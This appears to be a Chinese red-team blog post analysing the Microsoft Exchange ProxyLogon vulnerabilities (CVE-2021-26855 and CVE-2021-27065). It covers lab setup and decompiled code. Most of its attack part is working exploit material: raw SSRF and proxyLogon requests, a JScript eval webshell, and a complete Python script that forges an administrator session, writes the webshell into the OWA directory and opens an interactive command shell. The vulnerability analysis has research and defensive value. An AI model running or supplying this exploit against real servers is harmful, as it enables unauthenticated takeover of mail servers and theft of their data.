参考文章
漏洞组成:SSRF+RCE(CVE-2021-26855、CVE-2021-27065)
环境搭建
windows server 2016 下载地址
windows server 2016虚拟机安装
exchange 15.1.2106.2 漏洞环境搭建
其中CVE-2021–26855是一个SSRF,攻击者可以不经过任何类型的身份验证来利用此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是一个任意文件写入漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写入,属于非常高危的安全漏洞。
组件架构
Exchange不同版本的组件架构并不相同,但总体上可以将其分为核心的邮箱服务器角色(Mailbox Role)和可选的边缘传输角色(Edge Transport Role)。
Exchange作为边缘传输角色时部署在内外网交界处,充当邮件安全网关
Exchange作为邮箱服务器角色时分为客户端访问服务(Client Access Services)和后端服务(Backend Services)部分,CAS负责校验用户身份并将请求反代至具体的后端服务。
CAS对应IIS中的Default Web Site监听在80和443端口,BS对应IIS中的Exchange Back End监听在81和444端口。
出于解耦和兼容考虑,各个功能被封装为多个模块,有如下常用功能(缩写名对应URL访问路径):
OWA(Outlook Web App)
ECP(Exchange Control Panel)
EWS(Exchange Web Service)
Autodiscover
MAPI(Messaging Application Programming Interface)
EAS(Exchange ActiveSync)
OAB(Offline Address Books)
PowerShell
CVE-2021-26855漏洞分析
漏洞poc
POST /ecp/target.js HTTP/1.1
Host: localhost
Connection: close
Cookie: X-BEResource=[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753
Content-Type: text/xml
Content-Length: 337
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
正常的通过autodiscover读取配置信息的请求包。
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: 192.168.1.1
Content-Length: 351
Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHYAAACuAK4AjgAAABYAFgBAAAAACgAKAFYAAAAWABYAYAAAAAAAAAA8AQAABQKIoDEAOQAyAC4AMQA4ADgALgAxAC4AMQB0AGUAcwB0ADEAMQA5ADIALgAxADYAOAAuADEALgAxABlZOdtFpFcfJQY7ysotO0RJVlczdGVrae1Bq6PIhSQWZ5F4VJTTyL8BAQAAAAAAAOiYz4Q0XtYBSVZXM3Rla2kAAAAAAgAIAFQARQBTAFQAAQAGAEQAQwAxAAQAEABAAGUAcwB0AC5AYwBvAG0AAwAYAGQAYwAxAC5AdABlAHMAdAAuAGMAbwBtAAUAEAB0AGUAcwB0AC4AYwBvAG0ABwAIAOiYz3Q0XtYBCQAQAGMAaQBmAHMALwBEAEMAMQAAAAAAAAAAAA==
Content-type: text/xml
X-Anchormailbox: [email protected]
X-Mapihttpcapability: 1
Accept-Encoding: gzip
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
poc中的几个问题
-
关于/ecp/target.js路由的问题,target.js是否是必须的。 -
cookie中的X-BEResource字段是干什么用的, -
X-BEResource字段的值为何构造成了[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753这种形式。
漏洞存在于Microsoft.Exchange.FrontEndHttpProxy.dll中:
applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程.于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进行调试了。
漏洞分析
Microsoft.Exchange.FrontEndHttpProxy调试入口为 Microsoft.Exchange.HttpProxy.ProxyModule的SelectHandlerForAuthenticatedRequest方法
BEResourceRequestHandler是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数SelectHandlerForUnauthenticatedRequest中被引用。
然后可看到有三个if语句对不同的条件进行处理。
在IsEDiscoveryExportToolRequest做了如下操作。判断exporttool是否会出现在url的绝对路径中,而我们请求路径中不能包含exporttool,然后返回false。
// Token: 0x0600157C RID: 5500 RVA: 0x0003C668 File Offset: 0x0003A868
public static bool IsEDiscoveryExportToolRequest(HttpRequestBase request)
{
string absolutePath = request.Url.AbsolutePath;
if (string.IsNullOrEmpty(absolutePath))
{
return false;
}
if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
{
return false;
}
EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath) || EDiscoveryExportToolRequestPathHandler.applicationCurrentPathRegex.IsMatch(absolutePath);
}
最后一个if是判断BEResourceRequestHandler.CanHandle(httpContext.Request)
在CanHandle 中可以发现需要满足两个条件
-
HTTP请求的Cookie中含有X-BEResource键; -
请求应是资源型请求,即请求的文件后缀应为规定的文件类型。
然后httpHandler会被设置为BEResourceRequestHandler的一个实例,由于BEResourceRequestHandler继承于ProxyRequstHandler,因此会进入((ProxyRequestHandler)httpHandler).Run(context),并最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler,即是context.Handler。
然后会进行一些列函数调用
Microsoft.Exchange.HttpProxy.ProxyRequestHandler –>BeginCalculateTargetBackEnd –>InternalBeginCalculateTargetBackEnd –>BEResourceRequestHandler.ResolveAnchorMailbox 最终进入到漏洞函数ResolveAnchorMailbox。可以看到首先调用GetBEResourceCookie获取到Cookie中含有X-BEResource键的值
在判断 cookie中含有X-BEResource键的值不为空后,调用FromString处理。可以看到利用~来分割值,然后要求分割后的数组长度为2,也就是我们的cookie值中只含有一个~字符,并且~后面即为verison版本号,否则会报错。最后返回一个BackEndServer实例对象。
例如X-BEResource=[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753
经过处理后就为
-array[0] = [name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#
version = array[1] = 1941962753
分割后的结果是这样的。
函数继续执行,下面经过一系列函数调用:后端服务器的目标FQDN()计算完后调用OnCalculateTargetBackEndCompleted函数。这里的fqdn就是win-v2jneuvoljv.test.com
FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
例如:主机名是bigserver,域名是mycompany.com,那么FQDN就是bigserver.mycompany.com。 [1]
OnCalculateTargetBackEndCompleted函数,该函数又调用InternalOnCalculateTargetBackEndCompleted函数
紧接着调用BeginValidateBackendServerCacheOrProxyOrRecalculate函数,
然后调用BeginProxyRequestOrRecalculate函数,
最终进入到BeginProxyRequest函数中调用GetTargetBackendServerUrl
GetTargetBackendServerUrl中将调用GetClientUrlForProxy函数构造发起请求的URL。这里有个关键点,如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false,这个是一个重点之一,因为后续会判断ProxyToDownLevel是否为true,true的话就无法绕过身份验证。
第二个关键点就是this.AnchoredRoutingTarget.BackEndServer.Fqdn;该位置的值可控,那么result的值也可控。
Server.E15MinVersion值
然后这段代码实例化了一个 UrlBuilder类,涉及三个关键属性,Scheme、Host 和 Port。Schema 被设置为https;Host 取自于 BackEndServer.Fqdn,看一下 Host.Set() :
可以看到在这个函数里面判断host第一个字符是否为[并且其中是否含有:,如果都满足就将其用[]包裹起来。
所以举个例子,如果我们设置为这样
[email protected]:443/autodiscover/autodiscover.xml?#~1941962753
最后赋值完的结果是这样的。
但在给Post字段赋值完后会自动进行重新解析,变成下面这样:
在将上面三个属性赋值后,该函数就返回了 clientUrlForProxy.Uri,查看Uri 的get方法:
调用了 UriBuilder.ToString() 方法来取得最终的 指向BackEnd 的目标url。在 ToString() 中对各个参数进行拼接,形成url。
拼接完就是这样的
最终在调用this.CreateServerRequest将uri发送给后端服务器
调用this.PrepareServerRequest(httpWebRequest);
进行身份认证。可以看到这里就判断了ProxyToDownLevel是否为true,为false会直接报错。
调用 GenerateKerberosAuthHeader()函数来 创建Kerberos 认证头部。这也是中间代理能够访问BackEnd Server的原因 。
ShouldBlockCurrentOAuthRequest函数里的ProxyToDownLevel是用来检查用户是否已通过身份验证;而当有请求调用BEResourceRequestHandler时,ShouldBackendRequestBeAnonymous()就会被调用。绕过认证,然后把数据包组成后发送给后端。后端响应请求,把数据返回给客户端。最后达到一个SSRF漏洞攻击的过程。
经过上面的分析,我们回答了一开始的问题:
/ecp/target.js 不是必须的,它可以是其他的路径 /ecp/xxxxxxxx.png
X-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion
BackEndServerVersion 应该大于1941962752,‘#’ 用于在有url请求参数时分隔参数。
而且我们知道了X-BEResource 实际上完全不需要 ] 去闭合中括号,我们完全可以直接用[]来将name 括起来,比如下面这样:
[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753
CVE-2021–27065
漏洞成因
Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验写文件后缀,可由文件内容部分可控的相关功能写入WebShell。Microsoft.Exchange.Management.DDIService.WriteFileActivity中有一处明显的补丁变动,使得文件后缀名只能为txt。
在Exchange服务器上依次打开[管理中心] -> [服务器] -> [虚拟目录] -> [OAB虚拟目录]。
在url中填入一句话木马。
http://ffff/#<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>
查看请求包,使用的是/ecp/DDI/DDIService.svc/SetObject接口
POST /ecp/DDI/DDIService.svc/SetObject?ActivityCorrelationID=30a0575a-5ee8-8b03-181a-ea1cdc1fb7b4&schema=OABVirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
在重置位置,填入文件保存目录,然后重置。
\127.0.0.1c$Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyowaauthkkfine.aspx
查看请求包。请求中有一个关键参数msExchEcpCanary,如果没有这个参数,服务端返回500错误。这个参数的值可以利用CVE-2021-26855 SSRF漏洞通过多次请求获取。
可以看到第一个请求包是设置文件保存路径的请求包,使用的也是/ecp/DDI/DDIService.svc/SetObject接口,并且msExchEcpCanary和ActivityCorrelationID参数也是一样的。仔细观察其实就是请求包里面的字段ExternalUrl变为了FilePathName
/ecp/DDI/DDIService.svc/SetObject?ActivityCorrelationID=30a0575a-5ee8-8b03-181a-ea1cdc1fb7b4&schema=OABVirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
第二个是点击重置的请求包,使用的是/ecp/DDI/DDIService.svc/GetList接口
/ecp/DDI/DDIService.svc/GetList?ActivityCorrelationID=085910a4-27c2-5616-c475-1164aa5d54d6&schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
然后可以看到,靶机上已经能够看到上传的木马文件。
重置完成,访问木马文件
漏洞利用
所以我们的攻击思路就是首先需要通过ssrf获取到域用户的cookie,然后通过文件上传来写马。
获取server name
GET /ecp/target.js HTTP/1.1
Host: localhost
Connection: close
Cookie: X-BEResource=localhost/owa/auth/logon.aspx?~1941962753
Content-Type: text/xml
Content-Length: 0
利用500回显查看到X-Feserver: WIN-V2JNEUVOLJV中server name即为WIN-V2JNEUVOLJV
获取域用户cookie
这里ssrf去访问autodiscover.xml自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。autodiscover.xml文件中包含有LegacyDN 的值
通过SSRF漏洞读取autodiscover.xml文件,获取LegacyDN的值;
POST /ecp/target.js HTTP/1.1
Host: localhost
Connection: close
Cookie: X-BEResource=name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753
Content-Type: text/xml
Content-Length: 337
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
利用Legacy DN获取SID
消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在官方文档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。
POST /ecp/1.js HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/mapi/emsmdb?~1941962754
Content-Type: application/mapi-http
X-Requesttype: Connect
X-Clientinfo: x
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: x
Content-Length: 151
/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=cb4034a0f211454d89075d7b5f20cbfa-Admin+ x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00
POST 请求格式为
legacyDn + "x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00"
一个正常的Connect类型请求如图所示,包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。
使用sid获取cookie
请求包
POST /ecp/1.js HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/proxyLogon.ecp?#~1941962753
Content-Type: text/xml
Content-Length: 256
msExchLogonMailbox: S-1-5-18
<r at="Negotiate" ln="Administrator"><s>S-1-5-21-254742065-2746332885-3299130760-500</s><s a="7"
t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s
a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
在该物理路径下的.NET应用配置文件web.config中定义了不同路径的HTTP请求对应的处理函数,检索可知路径proxyLogon.ecp是由ProxyLogonHandler来处理的,然而对相应的dll进行反编译后发现该Handler仅修改了HTTP响应的状态码。
最终通过调试后发现,真正与msExchEcpCanary以及ASP.NET_SessionId相关的代码是在类RbacModule中的,通过web.config可以看到RbacModule作为应用的其中一个模块用于处理HTTP请求。
在该模块中由函数Application_PostAuthenticateRequest具体实现对HTTP请求的解析。相关关键代码如下,首先函数根据httpContext生成AuthenticationSettings实例。
在AuthenticationSettings的构造函数中,由于所有的if语句均不满足,函数会根据context生成一个RbacSettings实例,并赋值给自己的Session属性。
而在RbacSettings的构造函数中,函数会判断请求路径是否以/proxyLogon.ecp结尾,若是则进入下方的if分支,利用请求数据创建SerializedAccessToken实例。
分析SerializedAccessToken类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为r,根节点的at属性对应访问令牌中的认证类型、ln属性对应访问令牌中的登录名称;根节点的子节点为SID节点,节点名字为s,当中的属性t对应SID类型,属性a对应SID属性,节点中的文本为SID。其序列化函数定义如下,可以看到令牌大致与Windows中的安全访问令牌内容相似。
随后构造函数根据请求头部的msExchLogonMailbox字段以及logonUserIdentity变量调用GetInboundProxyCaller函数获取该代理请求的发起服务器。若返回结果不为空则调用EcpLogonInformation.Create函数创建一个EcpLogonInformation实例,再用该实例创建一个EcpIdentity实例。
Create函数首先根据logonMailboxSddlSid生成安全标识符实例,然后根据proxySecurityAccessToken参数生成SerialzedIdentity实例,并最后生成EcpLogonInformation实例。而根据名称可知logonUserIdentity定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。
之后程序回到RbacSettings的构造函数中,在响应中添加ASP.NET_SessionIdCookie。
程序接下来返回到RbacModule的函数中,在AuthenticationSettings实例生成后其Session属性被赋值给httpContext.User,并进入if分支调用CheckCanary函数。
CheckCanary函数又将调用如下所示的SendCanary函数,该函数首先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则生成一个新的Canary并将其加入到响应的Cookie中。从而我们能够构造满足要求的请求通过SSRF访问ecp/proxyLogon.ecp获得管理员的凭证。
文件上传
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.#~1; ASP.NET_SessionId=2c6b26f5-6662-4e85-a8cb-44e7851baea2; msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9o
IdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
Content-Type: application/json;
msExchLogonMailbox: S-1-5-20
Content-Length: 162
{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "OAB"}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.#~1; ASP.NET_SessionId=2c6b26f5-6662-4e85-a8cb-44e7851baea2; msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399
{"identity":{"__type":"Identity:ECP","DisplayName":"OAB (Default Web Site)","RawIdentity":"8bb65fea-5a07-4d88-ac1b-bc9de2740cd9"},"properties":{"Parameters":{"__type":"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel","ExternalUrl":"http://ffff/#<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>"}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.#~1; ASP.NET_SessionId=2c6b26f5-6662-4e85-a8cb-44e7851baea2; msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\127.0.0.1\c$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\BF2DmInPbRqNlrwT4CXo.aspx"}}}
攻击脚本
借用网上的exp
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']
proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\test11.aspx"
shell_absolute_path = "\\127.0.0.1\c$\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
final_shell = ""
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if __name__=="__main__":
parser = argparse.ArgumentParser(
description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.comn如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
help='target')
parser.add_argument('-user',
help='exist email', default='')
parser.add_argument('-suffix',
help='email suffix')
args = parser.parse_args()
target = args.u
suffix = args.suffix
if suffix == "":
print("请输入suffix")
exist_email = args.user
if exist_email:
fuzz_email.insert(0, exist_email)
random_name = id_generator(4) + ".js"
print("目标 Exchange Server: " + target)
for i in fuzz_email:
new_email = i+suffix
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % new_email
# print("get FQDN")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False, proxies=proxies)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
print("got FQDN:" + FQDN)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1941962757;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
try:
legacyDn = str(ct.content).split("<LegacyDN>")[
1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn +
"x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[
1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split(
"ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
# "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
# FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
verify=False,
proxies=proxies
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("写入shell失败")
exit()
shell_url = "https://"+target+"/owa/auth/test11.aspx"
print("成功写入shell:" + shell_url)
print("下面验证shell是否ok")
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
import time
time.sleep(1)
data = requests.post(shell_url, data={
"code": "Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());"}, verify=False, proxies=proxies)
if data.status_code != 200:
print("写入shell失败")
else:
print("shell:"+data.text.split("OAB (Default Web Site)")
[0].replace("Name : ", ""))
print('[+]用户名: '+ new_email)
final_shell = shell_url
break
except:
print('[-]用户名: '+new_email)
print("=============================")
if not final_shell:
sys.exit()
print("下面启用交互式shell")
while True:
input_cmd = input("[#] command: ")
data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
ct = requests.post(
final_shell,
data=data,verify=False, proxies=proxies)
if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
print("[*] Failed to execute shell command")
else:
shell_response = ct.text.split(
"Name :")[0]
print(shell_response)
文章来源于:https://forum.butian.net/share/2191
若有侵权请联系删除
加下方wx,拉你一起进群学习
往期推荐
原文始发于微信公众号(红队蓝军):Windows Exchange组件漏洞分析(一):ProxyLogon